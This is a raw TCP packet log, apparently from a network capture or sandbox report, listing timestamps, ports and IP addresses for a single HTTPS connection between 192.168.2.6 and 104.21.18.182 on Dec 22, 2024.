Dec 22, 2024 13:42:27.908729076 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.908767939 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.913372040 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.913388014 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.913441896 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.913453102 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.913500071 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.918819904 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.918837070 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.918925047 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.918934107 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.918982983 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.924248934 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.924268961 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.924314022 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.924323082 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.924359083 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.924374104 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.929351091 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.929367065 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.929419041 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.929425955 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.929450035 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.929475069 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.934809923 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.934827089 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.934891939 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.934900045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.934993982 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.939740896 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.939758062 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.939845085 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:27.939858913 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:27.939909935 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.095837116 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.095870018 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.095937014 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.095948935 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.095998049 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.101413012 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.101428986 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.101522923 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.101531982 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.101710081 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.106317043 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.106333971 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.106411934 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.106420994 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.106520891 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.111438990 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.111455917 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.111510038 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.111517906 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.111556053 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.111577034 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.116878986 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.116895914 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.117001057 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.117007971 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.117055893 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.121939898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.121956110 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.122046947 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.122055054 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.122097969 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.127331018 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.127347946 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.127412081 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.127422094 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.127528906 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.132163048 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.132178068 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.132246971 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.132256031 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.132330894 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.287683010 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.287700891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.287784100 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.287821054 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.287929058 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.293329000 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.293355942 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.293402910 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.293418884 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.293437958 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.293457985 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.298435926 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.298449993 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.298518896 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.298532009 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.298603058 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.303944111 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.303961039 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.304018974 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.304027081 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.304085970 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.308763027 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.308778048 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.308856964 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.308871031 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.308926105 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.313908100 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.313924074 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.313988924 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.314006090 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.314064980 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.319333076 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.319346905 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.319417953 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.319432974 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.319488049 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.324673891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.324691057 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.324745893 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.324759960 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.324810982 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.480274916 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.480304003 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.480381966 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.480416059 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.480458975 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.480459929 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.485495090 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.485512972 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.485618114 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.485635042 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.485923052 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.490345955 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.490362883 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.490461111 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.490475893 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.490641117 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.495820045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.495836020 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.495917082 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.495930910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.496084929 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.501310110 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.501327991 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.501410007 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.501425982 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.501452923 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.501730919 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.506395102 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.506412983 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.506541014 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.506556034 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.506870985 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.511748075 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.511766911 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.511895895 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.511910915 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.512259007 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.517189026 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.517205954 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.517261982 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.517276049 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.517304897 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.517322063 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.673763990 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.673784971 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.673840046 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.673863888 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.673908949 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.673932076 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.679197073 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.679218054 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.679286957 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.679296017 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.679332018 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.679339886 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.683988094 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.684010029 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.684053898 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.684061050 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.684096098 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.684106112 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.689745903 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.689764023 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.689841986 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.689851046 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.689896107 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.694807053 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.694828987 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.694891930 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.694900990 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.694941998 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.699873924 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.699893951 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.700086117 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.700093985 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.700141907 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.705396891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.705430984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.705475092 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.705480099 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.705527067 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.705543995 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.710237980 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.710259914 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.710323095 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.710330009 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.710367918 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.865926981 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.865966082 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.865997076 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.866009951 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.866050959 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.866070986 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.871215105 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.871242046 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.871289968 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.871296883 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.871340036 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.876710892 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.876737118 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.876785994 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.876791954 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.876816988 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.876861095 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.881566048 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.881604910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.881633997 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.881640911 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.881669044 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.881691933 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.887037039 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.887067080 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.887125015 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.887131929 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.887171984 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.887185097 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.892056942 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.892081022 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.892151117 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.892158031 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.892220020 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.897820950 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.897844076 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.897891045 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.897897959 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.897945881 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.902921915 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.902961969 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.902993917 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.903000116 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:28.903034925 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:28.903057098 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.058486938 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.058516979 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.058573961 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.058585882 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.058629990 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.058681011 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.063427925 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.063448906 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.063507080 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.063513994 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.063546896 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.063565016 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.068802118 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.068821907 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.068886995 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.068893909 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.068936110 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.074084997 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.074106932 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.074151993 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.074157953 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.074194908 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.074217081 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.079591990 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.079617023 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.079672098 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.079678059 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.079709053 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.079731941 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.084752083 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.084772110 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.084831953 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.084839106 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.084863901 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.084886074 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.089477062 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.089497089 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.089540005 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.089545965 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.089572906 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.089593887 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.095061064 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.095082045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.095146894 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.095154047 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.095194101 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.250319004 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.250349045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.250426054 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.250437975 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.250488043 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.256038904 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.256058931 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.256108999 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.256117105 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.256139994 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.256161928 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.261193991 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.261215925 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.261286974 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.261293888 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.261337996 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.265990019 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.266011000 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.266092062 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.266098976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.266138077 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.271533012 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.271555901 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.271619081 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.271625042 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.271687984 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.276534081 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.276561022 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.276618004 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.276623964 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.276665926 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.282321930 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.282342911 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.282390118 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.282396078 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.282418966 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.282449007 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.287815094 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.287874937 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.287894964 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.287904024 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.287926912 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.287952900 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.443253994 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.443337917 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.443346977 CET	49720	443	192.168.2.6	104.21.18.182
